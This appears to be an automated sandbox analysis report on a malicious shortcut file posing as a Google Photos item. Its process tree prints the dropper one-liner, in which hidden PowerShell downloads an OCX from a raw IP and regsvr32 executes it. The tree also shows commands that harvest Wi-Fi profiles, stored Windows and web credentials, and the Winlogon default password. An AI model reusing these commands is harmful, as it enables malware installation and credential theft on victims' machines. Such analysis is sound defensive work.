Analysis

  • max time kernel
    299s
  • max time network
    297s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    24/10/2026, 05:53

General

  • Target
    GooglePhotos_YNM65.lnk
  • Size 2KB
  • Sample261024-glr3ssf16x
  • SHA256 18c1a6e6e52231ba9c8a1621332f9d6208e509f0a7eff04f97447077e897cef6
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://212.80.205.63:8782/Kx.ocx

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Executes a command shell one-liner 1 TTPs 7 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Kills process with taskkill 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\GooglePhotos_YNM65.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:2944
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c if not exist "C:\ProgramData\NvDvr" mkdir "C:\ProgramData\NvDvr" & powershell -NoProfile -WindowStyle Hidden -Command "[Net.WebClient]::new().DownloadFile('http://212.80.205.63:8782/Kx.ocx','C:\ProgramData\NvDvr\Kx.ocx')" && start "" C:\Windows\SysWOW64\regsvr32.exe /s /i "C:\ProgramData\NvDvr\Kx.ocx" & title _dpclose_& taskkill /F /FI "WINDOWTITLE eq _dpclose_*" /FI "IMAGENAME eq cmd.exe" >nul 2>&1
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4120
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -WindowStyle Hidden -Command "[Net.WebClient]::new().DownloadFile('http://212.80.205.63:8782/Kx.ocx','C:\ProgramData\NvDvr\Kx.ocx')"
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Downloads MZ/PE file
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2120
      • C:\Windows\SysWOW64\regsvr32.exe
        C:\Windows\SysWOW64\regsvr32.exe /s /i "C:\ProgramData\NvDvr\Kx.ocx"
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: AddClipboardFormatListener
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:2924
        • C:\Windows\system32\cmd.exe
          C:\Windows\Sysnative\cmd.exe /c netsh wlan show profiles
          4⤵
          • Executes a command shell one-liner
          • System Network Configuration Discovery: Wi-Fi Discovery
          • Suspicious use of WriteProcessMemory
          PID:3580
          • C:\Windows\system32\netsh.exe
            netsh wlan show profiles
            5⤵
            • Event Triggered Execution: Netsh Helper DLL
            • System Network Configuration Discovery: Wi-Fi Discovery
            PID:2896
        • C:\Windows\system32\cmd.exe
          C:\Windows\Sysnative\cmd.exe /c cmdkey /list
          4⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:5372
          • C:\Windows\system32\cmdkey.exe
            cmdkey /list
            5⤵
              PID:3224
          • C:\Windows\system32\cmd.exe
            C:\Windows\Sysnative\cmd.exe /c vaultcmd /listcreds:"Windows Credentials" /all
            4⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:2552
            • C:\Windows\system32\VaultCmd.exe
              vaultcmd /listcreds:"Windows Credentials" /all
              5⤵
                PID:4856
            • C:\Windows\system32\cmd.exe
              C:\Windows\Sysnative\cmd.exe /c vaultcmd /listcreds:"Web Credentials" /all
              4⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:300
              • C:\Windows\system32\VaultCmd.exe
                vaultcmd /listcreds:"Web Credentials" /all
                5⤵
                  PID:800
              • C:\Windows\system32\cmd.exe
                C:\Windows\Sysnative\cmd.exe /c reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName 2>nul & reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword 2>nul
                4⤵
                • Executes a command shell one-liner
                • Suspicious use of WriteProcessMemory
                PID:3184
                • C:\Windows\system32\reg.exe
                  reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
                  5⤵
                    PID:428
                  • C:\Windows\system32\reg.exe
                    reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
                    5⤵
                      PID:5864
                • C:\Windows\system32\taskkill.exe
                  taskkill /F /FI "WINDOWTITLE eq _dpclose_*" /FI "IMAGENAME eq cmd.exe"
                  3⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2164

            Network

                  MITRE ATT&CK Enterprise v16

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                  Downloads

                  Kx.ocx

                  • Path C:\ProgramData\NvDvr\Kx.ocx
                  • Size 1.4MB
                  • SHA256 c62c268f5b276af114f5fbc132c17e12f6012d1e507281dff743fc2e77a128bc
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  memory/2120-0-0x00007FF87B3BF000-0x00007FF87B3C0000-memory.dmp

                  memory/2120-1-0x00007FF87B230000-0x00007FF87BBD4000-memory.dmp

                  memory/2120-4-0x000002111B720000-0x000002111B742000-memory.dmp

                  memory/2120-5-0x00007FF87B230000-0x00007FF87BBD4000-memory.dmp

                  memory/2120-6-0x00007FF87B230000-0x00007FF87BBD4000-memory.dmp

                  memory/2120-7-0x00007FF87B230000-0x00007FF87BBD4000-memory.dmp

                  memory/2120-8-0x00007FF87B230000-0x00007FF87BBD4000-memory.dmp

                  memory/2120-11-0x00007FF87B230000-0x00007FF87BBD4000-memory.dmp

                  memory/2924-14-0x0000000074560000-0x00000000746C4000-memory.dmp